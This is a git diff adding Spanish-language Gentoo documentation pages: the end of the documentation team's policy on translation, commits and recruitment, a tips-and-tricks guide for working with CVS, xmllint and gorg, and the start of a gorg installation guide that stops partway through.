+<title>Equipos de traducción de la documentación</title>
+<body>
+
+<p>
+Cada idioma debería ser llevado por un equipo oficial de traducción. Dicho
+equipo está dirigido por un <e>Jefe de Traducción</e> y, tal vez, un
+<e>Subjefe de Traducciónr</e>, teniendo ambos acceso a cambios en el CVS. Si
+por cualquier motivo el <e>Jefe de Traducción</e> no puede llevar a cabo sus
+tareas, el <e>Subjefe de Traducción</e> estará al cargo. Si el <e>Subjefe</e>
+tampoco esta disponible, el mentor o mentores estarán a cargo del idioma.
+</p>
+
+<p>
+Si se aporta una traducción nueva, pero el idioma no está soportado, el equipo
+de documentación de Gentoo la publicará tal como esté. En ese caso, el
+documento permanecerá sin enlazar hasta que se forme un equipo de traducción
+oficial de ese idioma, sin embargo estará disponible en nuestro sitio y en CVS.
+</p>
+
+<p>
+Cuando un idioma está soportado oficialmente, pero el equipo no tiene ningún
+miembro o nadie quiera tomar la responsabilidad del <e>Jefe de Traducción</e>,
+todos los enlaces a los documentos serán eliminados de ese sitio. Sin embargo,
+los documentos estarán disponibles en caso de que el idioma vuelva a estar
+oficialmente soportado.
+</p>
+
+<p>
+Para más información sobre las traducciones de la documentación de Gentoo,
+por favor consulte la <uri link="/proj/es/gdp/doc/translators-howto.xml">
+Guía para los traductores de documentación Gentoo</uri> y la página del
+<uri link="/proj/en/gdp/international.xml">
+Subproyecto de Internacionalización GDP</uri>(en inglés).
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Pautas de Documentación Gentoo</title>
+<section>
+<title>Cuestiones legales</title>
+<body>
+
+<p>
+Todo documento publicado por el Proyecto de Documentación de Gentoo
+debe estar bajo la licencia <uri
+link="http://creativecommons.org/licenses/by-sa/2.5/">Creative Commons
+Attribution-ShareAlike License</uri>.
+</p>
+
+<p>
+Todo documento debe tener la siguiente etiqueta en el código de su guía XML
+entre las etiquetas <c>&lt;/abstract&gt;</c> y <c>&lt;version&gt;</c>:
+</p>
+
+<pre caption = "Aviso sobre la licencia de Documentación Gentoo">
+&lt;/abstract&gt;
+<i>
+&lt;!-- The content of this document is licensed under the CC-BY-SA license --&gt;
+&lt;!-- See http://creativecommons.org/licenses/by-sa/2.5 --&gt;
+&lt;license/&gt;
+</i>
+&lt;version&gt;...&lt;/version&gt;
+</pre>
+
+</body>
+</section>
+<section>
+<title>Errores y actualizaciones</title>
+<body>
+
+<p>
+Cada error reportado en <uri link="http://bugs.gentoo.org">bugs.gentoo.org</uri>
+debería ser tratado tan rápido como sea posible. Si un error no puede ser
+tratado de manera oportuna, quien haya reportado ese error debería ser
+informado de ello poniendo un comentario en el error y debería registrarse en
+el archivo <uri link="/proj/en/gdp/doc/metadoc-guide.xml">metadoc.xml</uri> si
+fuera necesario. El gerente táctico u operacional puede decidir que error tiene
+mayor prioridad y debería ser tratado antes que cualquier otra tarea sea
+asignada.
+</p>
+
+<p>
+Siempre que un miembro del Equipo de Documentación de Gentoo se encarga
+de un error, debe asignarse a sí mismo el error, pero asegurándose de que
+<mail>docs-team@gentoo.org</mail> está en la lista de Cc. A menos que sea con
+el consentimiento del gerente operacional, un error no puede ser eliminado
+por otro miembro del Equipo de Documentación de Gentoo sin su aprobación.
+</p>
+
+</body>
+</section>
+<section>
+<title>Desarrollo del documento</title>
+<body>
+
+<p>
+Todo documento que el equipo de documentación de Gentoo desarrolla, puede
+ser desarrollado según las partes intervinientes crean conveniente. Sin
+embargo, cuando el documento está acabado, debe ser transformado en <uri
+link="doc/es/xml-guide.xml">GuíaXML</uri> y puesto en la infraestructura
+de CVS de Gentoo. También debe registrarse en el archivo
+<uri link="/proj/en/gdp/doc/metadoc-guide.xml">metadoc.xml</uri> si
+fuera necesario.
+</p>
+
+<p>
+Cuando se empieza un nuevo documento o se necesita un cambio grande, un aviso
+debe ser archivado en <uri link="http://bugs.gentoo.org">bugs.gentoo.org</uri>
+en lo referente al desarrollo del documento. Si ya existe un aviso en la base
+de datos que solicita un cambio en la documentación, no hay que archivar un
+nuevo aviso. Cambios gramaticales, sintácticos o pequeños tampoco requieren
+el archivo de un aviso en <uri
+link="http://bugs.gentoo.org">bugs.gentoo.org</uri>.
+</p>
+
+<p>
+Todos los cambios en el contenido del documento, excepto correcciones
+de errores en el texto o en los comentarios de los listados de código, deben
+llevar al aumento de número de versión (y fecha). Observe que el cambio de
+los listados de código debe causar un aumento de número y fecha de la
+versión.
+</p>
+
+<p>
+Todos los cambios en el formato XML deben llevar a un salto de la versión
+(y fecha) sólo en caso de que la disposición del HTML del documento cambie.
+</p>
+
+<p>
+Incrementar o no el número mayor de versión en lugar del número menor de
+versión u otro, es cosa del editor.
+</p>
+
+<p>
+Toda actualización de una traducción debe copiar la información textual de la
+nueva versión del documento maestro en inglés para sincronizar totalmente las
+traducciones y que así tengan la misma información de versión y fecha.
+</p>
+
+</body>
+</section>
+<section>
+<title>Revisión y Envíos (Commit)</title>
+<body>
+
+<p>
+Para mantener un ciclo alto de desarrollo de la documentación, los cambios
+técnicos o intrusivos de los documentos pueden ser propagados inmediatamente
+al documento, <e>si</e> el editor está 100% seguro que serán correctos y
+funcionarán. Si no está 100% seguro (por ejemplo, porque un usuario le ha
+dicho cómo hacerlo, pero no puede verificarlo), haga revisar el cambio a un
+desarrollador de Gentoo que pueda verificarlo.
+</p>
+
+<p>
+Cambios de mucho volumen, técnicos o intrusivos deben ir acompañados de un
+aviso en <uri>http://bugs.gentoo.org</uri>. Este número de error <e>debe</e>
+ser mencionado en el registro del CVS para permitir volver atrás en los
+cambios.
+</p>
+
+<p>
+Si un cierre de aviso consiste en cambios tanto de contenido, como internos,
+ambos cambios deben ser enviados (commit) separadamente para que
+así los traductores puedan ver fácilmente los cambios importantes (contenido)
+e ignorar los cambios de codificación.
+</p>
+
+<p>
+Si el documento en cuestión es una traducción, el <e>Jefe de Traducción</e>
+del idioma afectado es responsable del documento. Únicamente el
+<e>Jefe de Traducción</e> y su sustituto pueden hacer envíos del documento al
+repositorio CVS. Sin embargo, si el <e>Jefe de Traducción</e> está en ese
+momento "en entrenamiento", su mentor deberá enviar los cambios.
+</p>
+
+</body>
+</section>
+<section>
+<title>Sanciones</title>
+<body>
+
+<p>
+Aunque esto nunca ha sido necesario, sigue siendo importante enumerarlo
+en la política - a pesar de que es odioso. De todas formas, los
+desarrolladores de documentación que empleen mal su posición:
+</p>
+
+<ul>
+  <li>
+    proporcionando deliberadamente información errónea a usuarios o
+    desarrolladores.</li>
+  <li>escribiendo deliberadamente documentación incorrecta</li>
+  <li>estropeando deliberadamente documentos.</li>
+  <li>
+    yendo deliberadamente contra las decisiones expuestas a lo largo de
+    la política o por el modelo de consenso en la lista de correo de
+    documentación de Gentoo.
+  </li>
+  <li>
+    permaneciendo, por un largo período de tiempo, sin informar al GDP y
+    sin responder a las peticiones del gerente operacional de
+    actualización de estado.
+  </li>
+</ul>
+
+<p>
+serán informados al proyecto <uri link="/proj/en/devrel/">Developer Relations
+de Gentoo.</uri>
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Reclutamiento del equipo de documentación</title>
+<section>
+<title>Colaboradores, autores, traductores</title>
+<body>
+
+<p>
+Cualquiera interesado en contribuir documentación, corregir la existente,
+escribir nueva documentación o traducirla, es bienvenido a unirse al equipo.
+No hay reglas o cadenas unidas a ello. Sólo asegúrese de que está suscrito a
+<c>gentoo-doc@gentoo.org</c> y ha leído y comprendido toda la política.
+</p>
+
+</body>
+</section>
+<section>
+<title>Proceso de reclutamiento</title>
+<body>
+
+<p>
+El proyecto de documentación tiene un estricto proceso de reclutamiento
+indicado abajo. Este proceso no puede ser modificado bajo ninguna
+circunstancia. Hemos optado por el proceso de reclutamiento para asegurarnos
+de que la persona reclutada está bien informada acerca de la política de
+documentación de Gentoo y sobre el estilo de codificación de Gentoo. Ha
+resultado ser muy efectiva aunque muchos colaboradores la ven como una enorme
+barrera a cruzar.
+</p>
+
+<p>
+Este proceso de reclutamiento esta pensado únicamente para peticiones al
+repositorio de documentación de Gentoo a través de CVS. Ser listado como
+mantenedor o contacto para un cierto documento o conjunto de documentos es
+realizado medianta una simple petición al gerente de operaciones o al jefe
+de proyecto.
+</p>
+
+</body>
+</section>
+<section>
+<title>Fase 1: Contribuciones</title>
+<body>
+
+<p>
+Ningún proceso de reclutamiento comienza sin investigar las contribuciones
+realizadas al proyecto de documentación de Gentoo. El número de contribuciones
+debe ser lo suficientemente grande para asegurar un buen conocimiento de la
+guía XML, y el estilo y la política de codificación. El período de
+contribuciones debe ser igualmente largo para informar al colaborador acerca
+del consumo de tiempo y la presión que implica.
+</p>
+
+<p>
+El número de contribuciones y el período de las mismas que se requieren,
+depende de la posición que el colaborador está reclamando. Aunque es difícil
+escribir estas medidas en números, la siguiente tabla debería ofrecer una
+visión general. La decisión final, sin embargo, recae en las manos del gerente
+operacional.
+</p>
+
+<table>
+<tr>
+  <th>Posición</th>
+  <th>Actividad Mínima</th>
+  <th>Período Mínimo</th>
+</tr>
+<tr>
+   <ti>Desarrollador a tiempo completo</ti>
+   <ti>2 actualizaciones por semana</ti>
+   <ti>1 mes</ti>
+</tr>
+<tr>
+   <ti>Desarrollador a tiempo parcialr</ti>
+   <ti>4 actualizaciones al mes</ti>
+   <ti>1 mes</ti>
+</tr>
+</table>
+
+<p>
+Una actualización conlleva la modificación de cualquier documentación,
+traducción y otras, completamente escritas por el colaborador y publicada
+después de ser revisada por algún desarrollador de documentación. El período
+está fijado -- aumentar las contribuciones no decrementa el período. De igual
+modo no medimos el reparto del número de contribuciones a lo largo del tiempo
+para asegurarnos de que el colaborador no genera una avalancha de
+contribuciones y entonces espera hasta que la fase ha concluido.
+</p>
+
+<p>
+Sin esta fase, no podemos saber si el colaborador comprende que requiere
+tiempo llegar a ser un desarrollador de documentación. La validación de esta
+actividad se muestra en los informes de bugzilla.
+</p>
+
+<p>
+Cualquier petición de acceso a CVS que no permita las actividades de
+desarrollo descritas en la tabla de arriba, no serán tenidas en cuenta.
+</p>
+
+<p>
+Si cree que ha mostrado suficiente cantidad de contribuciones, contacte con el
+gestor operacional del proyecto de documentación de Gentoo. Le pedirá sus
+datos y otra información, y entonces preparará la siguiente fase para su
+comienzo.
+</p>
+
+</body>
+</section>
+<section>
+<title>Fase 2: Comienzo del proceso de reclutamiento</title>
+<body>
+
+<p>
+Durante este período, que es básicamente el mencionado en la tabla, los
+parches enviados ya no son editados por un desarrollador de documentación,
+sino que son enviados tal cual o rechazados. El reclutamiento es asignado a
+un desarrollador a tiempo completo (el mentor) que le guiará por estas
+últimas fases.
+</p>
+
+<p>
+La calidad de las contribuciones son, en esta fase, lo más importante -- cada
+parche que no sigue la política de documentación, el estilo de codificación u
+otras pautas, conlleva que el documento sea rechazado.
+</p>
+
+<p>
+Durante este pediodo:
+</p>
+
+<ul>
+  <li>
+    se le pedirá que aprenda sobre los trabajos más internos de Gentoo.
+    Esto es necesario ya que se le preguntará más adelante en el <uri
+    link="/proj/en/devrel/quiz/staff-quiz.txt">Staffing Quiz</uri> de Gentoo.
+  </li>
+  <li>
+    se le pedirá que rellene el <uri
+    link="/proj/en/gdp/doc/doc-quiz.xml">Gentoo Documentation Project
+    Quiz</uri>. Necesita superar correctamente este cuestionario (todas las
+    preguntas) antes de que pueda continuar a la siguiente fase.
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Fase 3: Reclutamiento en Gentoo</title>
+<body>
+
+<p>
+Cuando la fase 2 ha concluido, el gestor operacional contactará con <uri
+link="/proj/en/devrel/">Developer Relations</uri> y le dará el visto bueno
+final al proceso de reclutamiento en Gentoo, después del cual se le hará
+entrega de una dirección de correo de gentoo y será adscrito a uno o más
+subproyectos.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/es/gdp/doc/doc-tipsntricks.xml b/xml/htdocs/proj/es/gdp/doc/doc-tipsntricks.xml
new file mode 100644
index 00000000..1599a417
--- /dev/null
+++ b/xml/htdocs/proj/es/gdp/doc/doc-tipsntricks.xml
@@ -0,0 +1,411 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/es/gdp/doc/doc-tipsntricks.xml,v 1.4 2010/05/24 19:50:20 nimiux Exp $ -->
+
+<guide lang="es">
+<title>Desarrollo de documentación. Trucos y consejos</title>
+
+<author title="Autor">
+  <mail link="neysx">Xavier Neys</mail>
+</author>
+<author title="Autor">
+  <mail link="swift">Sven Vermeulen</mail>
+</author>
+<author title="Editor">
+  <mail link="nightmorph"/>
+</author>
+<author title="Traductor">
+    <mail link="chiguire@gentoo.org">John Christian Stoddart</mail>
+</author>
+<author title="Traductora">
+    <mail link="thenewkrispowa@hotmail.com">Cristina Aguilar</mail>
+</author>
+<author title="Traductor">
+    <mail link="yoswink@gmail.com">José Luis Rivero</mail>
+</author>
+<author title="Traductor">
+  <mail link="jesus.riveroa@gmail.com">Jesús Rivero</mail>
+</author>
+<author title="Traductor">
+  <mail link="nimiux" />
+</author>
+
+<abstract>
+Algunos consejos y trucos para hacerle la vida más sencilla al
+Desarrollador de Documentación de Gentoo.
+</abstract>
+
+<license/>
+
+<version>4</version>
+<date>2010-04-28</date>
+
+<chapter>
+<title>Descargando los archivos del sitio web</title>
+<section>
+<title>Usando CVS anónimo</title>
+<body>
+
+<p>
+Los colaboradores deberían utilizar <uri
+link="http://anoncvs.gentoo.org/"> Servidor CVS anónimo</uri>. Este
+servidor contiene los mismos archivos que el repositorio CVS oficial
+que es utilizado por los desarrolladores de Gentoo. El repositorio CVS
+anónimo es actualizado cada hora.
+</p>
+
+<p>
+Cree un directorio dedicado únicamente al desarrollo de la
+documentación, luego, descargue los archivos del sitio web.
+</p>
+
+<pre caption="Descargando los archivos del sitio web.">
+$ <i>cvs -d :pserver:anonymous@anoncvs.gentoo.org/var/cvsroot co gentoo/xml</i>
+</pre>
+
+<p>
+Para actualizar su copia del repositorio, ejecute <c>cvs update
+-dP</c> en el directorio <path>gentoo/xml</path>.
+</p>
+</body>
+</section>
+
+<section>
+<title>Repositorio para desarrolladores Gentoo</title>
+<body>
+
+<p>
+Si no ha descargado el módulo <c>gentoo</c>, hágalo ahora:
+</p>
+
+<pre caption="Descargando el módulo gentoo">
+$ <i>export CVSROOT=</i><comment>&lt;su apodo&gt;</comment><i>@cvs.gentoo.org:/var/cvsroot</i>
+$ <i>cvs co gentoo/xml</i>
+</pre>
+
+<p>
+Para actualizar el repositorio, ejecute <c>cvs update -dP</c> en el
+directorio <path>gentoo/xml</path>.
+</p>
+</body>
+</section>
+
+<section>
+<title>Repositorio CVS en línea</title>
+<body>
+
+<p>
+Puede solicitar nuestro <uri
+link="http://sources.gentoo.org/">Repositorio CVS en línea</uri> para
+proveer las diferencias entre versiones individuales.  El repositorio
+principal en inglés está <uri
+link="http://sources.gentoo.org/gentoo/xml/htdocs/doc/en/">
+completamente disponible</uri>. El repositorio en línea es actualizado
+cada hora.
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Configurando su entorno local</title>
+<section>
+<title>Instalando gorg</title>
+<body>
+
+<p>
+Nuestra documentación GuideXML es transformada en HTML por el paquete
+<uri link="gorg.xml">www-servers/gorg</uri>. Es necesario instalarlo.
+</p>
+
+<note>
+Necesita al menos la versión <c>gorg-0.6.3</c>. Quizás necesite
+desenmascarar el paquete para su arquitectura.
+</note>
+
+<p>
+Siga estas <uri link="gorg.xml">indicaciones</uri> para configurar gorg.
+Necesitará definir el directorio raíz web en el cual ha obtenido nuestro
+repositorio CVS (<path>.../gentoo/xml/htdocs</path>). Los otros parámetros
+sólo son útiles si quiere servir una copia local de
+<uri link="http://www.gentoo.org">www.gentoo.org</uri>.
+</p>
+</body>
+</section>
+
+<section>
+<title>Configurando su Entorno XML</title>
+<body>
+
+<p>
+Su sistema necesita conocer la ubicación de los DTDs que utiliza
+nuestra documentación. Edite <path>/etc/xml/catalog</path> como el
+usuario root y agregue las siguientes líneas:
+</p>
+
+<pre caption="agregando catálogos al /etc/xml/catalog">
+&lt;rewriteURI uriStartString="/dtd/" rewritePrefix="<i>/usr/portage/metadata/dtd/</i>"/&gt;
+</pre>
+
+<note>
+También puede reescribir las rutas para que apunten a los DTDs
+descargados en su copia del repositorio CVS.
+</note>
+
+<p>
+Si su archivo <path>/etc/xml/catalog</path> está vacío o no contiene
+entradas, necesita <e>insertar</e> el elemento
+<c>&lt;rewriteURI&gt;</c> <e>dentro</e> del elemento
+<c>&lt;catalog&gt;</c>.
+</p>
+
+<pre caption="/etc/xml/catalog mínimo">
+&lt;?xml version="1.0"?&gt;
+&lt;!DOCTYPE catalog PUBLIC "-//OASIS//DTD Entity Resolution XML Catalog V1.0//EN" "http://www.oasis-open.org/committees/entity/release/1.0/catalog.dtd"&gt;
+&lt;catalog xmlns="urn:oasis:names:tc:entity:xmlns:xml:catalog"&gt;
+  &lt;rewriteURI uriStartString="/dtd/" rewritePrefix="<i>/usr/portage/metadata/dtd/</i>"/&gt;
+&lt;/catalog&gt;
+</pre>
+
+<p>
+Algunos archivos especifican el DTD en línea con un uri como este:
+<path>http://www.gentoo.org/dtd/guide.dtd</path>. Puede reescribir
+estas referencias para evitar accesos innecesarios y lentos a Internet
+al momento de la validación:
+</p>
+
+<pre caption="Modificación extra al /etc/xml/catalog">
+&lt;rewriteURI uriStartString="http://www.gentoo.org/dtd/" rewritePrefix="<i>/usr/portage/metadata/dtd/</i>"/&gt;
+</pre>
+</body>
+</section>
+
+<section>
+<title>Probando una Guía Gentoo</title>
+<body>
+
+<p>
+Para probar una Guía Gentoo, primero utilice <c>xmllint</c> (de
+<c>dev-libs/libxml2</c>) para verificar que el documento contiene XML
+válido:
+</p>
+
+<pre caption="Utilizando xmllint para validar GuideXML">
+$ <i>xmllint --valid --noout alsa-guide.xml</i>
+</pre>
+
+<p>
+Si <c>xmllint</c> no muestra ninguna salida, entonces la estructura
+del archivo es válida. Ahora es necesario convertir el documento a
+HTML:
+</p>
+
+<pre caption="Convirtiendo el documento a HTML">
+$ <i>gorg &lt; alsa-guide.xml > alsa-guide.html</i>
+</pre>
+
+<p>
+Si el comando anterior no muestra errores, puede entonces apuntar su
+navegador a <path>alsa-guide.html</path> para ver el documento en
+formato HTML. Si se muestran errores modifique su documento hasta que
+funcione.
+</p>
+
+<note>
+Los enlaces a capítulos en el Manual Gentoo no serán generados ya que
+éstos, en la versión en-línea, se acceden a través del archivo maestro
+y a través de los parámetros <c>chap</c> y <c>part</c>.
+</note>
+</body>
+</section>
+
+<section>
+<title>Navegando en su copia local del sitio web de Gentoo</title>
+<body>
+
+<p>
+Ya que ha descargado el sitio web de Gentoo desde nuestro servidor CVS,
+entonces puede utilizar gorg para navegar en su copia local.  Asegúrese
+que ha descargado el índice de noticias si desea que la página principal
+de su copia local luzca como la página principal del sitio de Gentoo.
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Preguntas Frecuentes</title>
+<section>
+<title>¿Cómo convierto un archivo a UTF-8?</title>
+<body>
+
+<p>
+Existen algunas herramientas que le pueden ayudar. Una herramienta
+popular es <c>app-text/recode</c>. Otra es <c>iconv</c>, que forma
+parte de <c>sys-libs/glibc</c>.
+</p>
+
+<p>
+El uso de recode es bastante sencillo. Basta con decirle qué
+codificación utiliza el documento y a qué codificación quiere
+transformarlo.
+</p>
+
+<p>
+Por ejemplo, para convertir un documento desde ISO-8859-15 (también
+conocido como Latin-9) a UTF-8, basta con utilizar:
+</p>
+
+<pre caption="Utilizando recode en un documento">
+<comment>(l9 = ISO-8859-15, u8 = UTF-8)</comment>
+$ <i>recode l9..u8 archivo.xml</i>
+</pre>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Consejos para enviar un Documento</title>
+<section>
+<title>Revisión de etiquetas &lt;guide&gt;</title>
+<body>
+
+<p>
+Asegúrese que el atributo &lt;guide link&gt; apunte a la dirección
+correcta para la guía. Generalmente esta ruta es
+<path>/doc/${LANG}/nombrearchivo.xml</path>. Si ha traducido un
+documento, siempre especifique la ruta absoluta al mismo
+(ej. <path>/doc/${LANG}/</path>). Si se encuentra escribiendo una guía
+que utilice los DTDs <c>guide</c> o <c>book</c> pueden entonces
+especificar las rutas como <path>/doc/${LANG}/nombrearchivo.xml</path>
+or <path>nombrearchivo.xml</path>. Generalmente la GDP recomienda el
+uso de la anterior.
+</p>
+</body>
+</section>
+
+<section>
+<title>Verificando Enlaces</title>
+<body>
+
+<p>
+<e>Debe</e> verificar que todos los hiper-vínculos en su documento
+funcionen. Si es un documento traducido, asegúrese que todos los
+enlaces a otros documentos traducidos apunten a archivos existentes.
+</p>
+</body>
+</section>
+
+<section>
+<title>Verificando Tabulaciones</title>
+<body>
+
+<p>
+Las tabulaciones están absolutamente prohibidas en documentos bajo
+GuideXML con la excepción de aquellos casos en que sea requerido
+(ej. si el documento le indica al usuario que utilice
+tabulaciones). Para validar que un documento no contenga tabulaciones,
+ejecute <c>grep "CTRL+V&lt;TAB&gt;" archivo.xml</c>.  Arregle
+cualquier línea que grep haya mostrado.
+</p>
+</body>
+</section>
+
+<section>
+<title>Bugzilla</title>
+<body>
+
+<p>
+Una vez que haya terminado su documento, envíelo al Equipo de
+Documentación utilizando <uri
+link="http://bugs.gentoo.org/enter_bug.cgi?product=Documentation">
+Bugzilla</uri>. Aquí, no tiene que especificar información como la
+plataforma, salida de <c>emerge info</c>, arquitectura, pasos para
+reproducir, etc. Si tiene un documento traducido, asegúrese de
+seleccionar el componente
+<uri
+link="http://bugs.gentoo.org/enter_bug.cgi?product=Doc%20Translations">
+Doc Translations</uri> para su bug. Incluya también un sumario adecuado
+para su traducción utilizando el formato: "[es]" New translation:
+/doc/es/gnupg-user.xml". Reemplace <b>[es]</b> por el código de dos
+letras de su lenguaje.
+</p>
+
+<p>
+Por defecto, el ticket será asignado a
+<mail>docs-team@gentoo.org</mail>. No hay necesidad de cambiar a
+quien será asignado el ticket.
+</p>
+
+<p>
+Suba los archivos y/o parches al bug utilizando la opción de texto
+plano (text/plain). <e>No</e> seleccione "fuente XML
+(application/xml)" aún cuando se disponga a subir un archivo
+<path>.xml</path>. Los parches deben tener la opción "Patch"
+seleccionada. No envíe archivos comprimidos llenos de documentos;
+suba cada documento y/o parche individualmente.
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Errores Comunes y Peligrosos</title>
+<section>
+<title>Olvidar el aspecto multi-arquitectura del Manual de Gentoo</title>
+<body>
+
+<p>
+Los archivos en <path>[gentoo]/xml/htdocs/doc/en/handbook</path> que
+no terminen con el sufijo &quot;-&lt;arch&gt;.xml&quot; son leidos por
+<e>todos</e> los manuales, lo cual significa que cualquier cosa que
+contenga será multi-arquitectura.
+</p>
+
+<p>
+Si necesita hacer modificaciones que afecten a una arquitectura en
+particular y teme necesitar situarlas en ese archivo, puede preguntar
+cómo solucionarlo en <c>gentoo-doc@gentoo.org</c>. A veces existe la
+manera sin ser demasiado compleja para usuarios de otras
+arquitecturas.
+</p>
+</body>
+</section>
+
+<section>
+<title>No saltar de versión/fecha o hacerlo de manera incorrecta</title>
+<body>
+
+<p>
+De acuerdo con la política, <e>debe</e> saltar (avanzar) de
+versión/fecha cuando se produzcan cambios. Aunque la versión es menos
+importante (podrías ser regañado si se te olvida) la fecha indica a
+nuestros usuarios cuando el documento ha sido actualizado por última
+vez.
+</p>
+
+<p>
+Si está haciendo un cambio de <e>contenido</e> a un documento (tal
+como instrucciones, ejemplos de código, etc.), debe entonces
+incrementar la versión. Para cambios <e>no relacionados con
+contenidos</e> (ej. un error de escritura o arreglos al GuideXML), el
+salto de versión normalmente es innecesario.
+</p>
+
+<p>
+Cuando esté actualizando el Manual, modifique la versión y la fecha
+solamente de los archivos que modifique. No salte la versión de un
+Manual-<e>ARCH</e>.xml a menos de que realmente haya cambiado su
+contenido.
+</p>
+
+<p>
+Otro error frecuente es actualizar el número de versión como si fuese
+un número decimal. No lo es. La versión <c>3.9</c> se actualizará a la
+<c>3.10</c>, no a la <c>4.0</c>, y tampoco a la <c>3.91</c>.
+</p>
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/es/gdp/doc/gorg.xml b/xml/htdocs/proj/es/gdp/doc/gorg.xml
new file mode 100644
index 00000000..4805ad5e
--- /dev/null
+++ b/xml/htdocs/proj/es/gdp/doc/gorg.xml
@@ -0,0 +1,300 @@
+<?xml version='1.0' encoding='utf-8'?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header $ -->
+
+
+<guide>
+<title>Cómo instalar Gorg</title>
+
+<author title="Autor">
+  <mail link="neysx"/>
+</author>
+<author title="Editor">
+  <mail link="nightmorph"/>
+</author>
+<author title="Traductor">
+  <mail link="nimiux"/>
+</author>
+
+<abstract>
+Esta guía describe cómo instalar y configurar gorg.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+
+
+<license/>
+
+<version>1</version>
+<date>2010-04-28</date>
+
+<chapter>
+<title>Introducción</title>
+<section>
+<body>
+
+<p>
+Gorg es un procesador back-end de XSLT para un sitio web basado en XML. Los
+ficheros fuente son transformados y servidos de una vez. Los ficheros de
+salida y sus dependencias se almacenan en una caché. Sus principales
+características son:
+</p>
+
+<ul>
+  <li>Trabaja con apache, lighttpd o webrick (el servidor propio de ruby) </li>
+  <li>Usa caché eficiente.</li>
+  <li>
+    Genera cabeceras HTTP consistentes cuando varios nodos web sirven el mismo
+contenido.
+  </li>
+  <li>
+    Implementa su propia compresión (también llamada mod_gzip), esto es, no
+depende del servidor web para comprimir su salida.
+  </li>
+  <li>Soporta caché en el cliente.</li>
+  <li>El XSL procesado puede aceptar y escribir cookies.</li>
+  <li>
+    Proporciona su propio motor de búsqueda (el indexado del sitio será
+actualizado sustancialmente en una versión posterior)
+  </li>
+</ul>
+
+<p>
+Gorg le permite servir su propia copia local de
+<uri>http://www.gentoo.org</uri>. Puede usar un guión cgi o fastcgi con
+apache o lighttpd, o incluso usar su propio servidor web independiente. Su
+nombre es una contracción de <b>G</b>entoo.<b>org</b> ya que fue creado con
+el sitio Gentoo en mente cuando se pensó que se necesitaba un sustituto de
+AxKit.
+</p>
+
+<p>
+Gorg ha sido probado en x86, amd64, alpha, sparc, ppc, mips y hppa con los
+siguientes paquetes:
+</p>
+
+<pre caption="Entorno de prueba.">
+>=net-www/apache-2.0.55
+>=www-apache/mod_fcgid-1.0.8
+
+>=dev-lang/ruby-1.8.4
+>=dev-libs/fcgi-2.4.0 
+>=dev-ruby/ruby-fcgi-0.8.6
+>=dev-libs/libxml2-2.6.23
+>=dev-libs/libxslt-1.1.15
+<comment>(En caso poco probable de que quiera trastear con el propio motot de búsqueda de gorg)</comment>
+>=dev-db/mysql-4.0.26 <comment>(hasta la 5.* inclusive)</comment>
+>=dev-ruby/ruby-dbi-0.0.21
+>=dev-ruby/mysql-ruby
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Instalando Gorg</title>
+<section>
+<body>
+
+<p>
+Defina sus ajustes USE para permitir que apache use o no mod_fcgi
+dependiendo como quiera usarlo. El ajuste USE <c>mysql</c> sólo se requiere
+para el motor de búsqueda integrado.
+</p>
+
+<impo>
+Deberá ajustar las dependencias de su arquitectura usando palabras clave
+(keyword). Puede ajustar estar palabras clave en los paquetes necesarios o
+aceptar una arquitectura ajena. gorg ha sido instalado y probado en x86,
+amd64, alpha, sparc, ppc, mips y hppa.
+</impo>
+
+<pre caption="Haciendo emerge de gorg">
+<comment>(<b>Con</b> soporte para apache)</comment>
+# <i>echo www-servers/gorg fastcgi apache -mysql >> /etc/portage/package.use</i>
+
+<comment>(<b>Sin</b> soporte para apache)</comment>
+# <i>echo www-servers/gorg -fastcgi -apache -mysql >> /etc/portage/package.use</i>
+
+<comment>(Compruebe que las dependencias están disponibles para su arquitectura)</comment>
+# <i>emerge -pv gorg</i>
+
+<comment>(Instale gorg)</comment>
+# <i>emerge gorg</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Configurando gorg</title>
+<section>
+<title>Configurando apache</title>
+<body>
+
+<note>
+Puede saltarse esta sección si no va a usar apache.
+</note>
+
+<p>
+Si queire usar fastcgi (cosa que debería hacer, sin duda), necesitará añadir
+<c>-D FCGID</c> a la variable <c>APACHE2_OPTS</c> en
+<path>/etc/conf.d/apache2</path>.
+</p>
+
+<p>
+A continuación integre las directivas de configuración de apache, presentes
+del fichero de configuración ejemplo <path>/etc/gorg/vhost.sample</path> en
+sus propias configuraciones vhost, por ejemplo,
+<path>/etc/apache2/vhosts.d/10_gorg.conf</path>. Los comentarios en el
+fichero de configuración ejemplo le guiarán.
+</p>
+
+<p>
+Finalmente, copie o cree un enlace simbólico a los guiones (c)cgi de
+<path>/usr/lib/ruby/site_ruby/&lt;ruby-version&gt;/gorg/fcgi-bin/gorg.fcgi</path>
+y
+<path>/usr/lib/ruby/site_ruby/&lt;ruby-version&gt;/gorg/cgi-bin/{gorg,search}.cgi</path>
+en los directorios (f)cgi de su sitio web y compruebe que son
+ejecutables. Deberá copiar <path>search.cgi</path> únicamente si va a usa el
+motor de búsqueda integrado.
+</p>
+
+</body>
+</section>
+<section>
+<title>Configurando gorg</title>
+<body>
+
+<p>
+Haga una copia del fichero de configuración ejemplo
+<path>/etc/gorg/gorg.conf.sample</path> a <path>/etc/gorg/gorg.conf</path> y
+<b>edítelo</b>. Los comentarios le ayudarán a definir sus propios
+parámetros. Necesitará definir por lo menos el directorio raíz de sus
+documentos web.
+</p>
+
+<p>
+Si no quiere usar el fichero de configuración por defecto
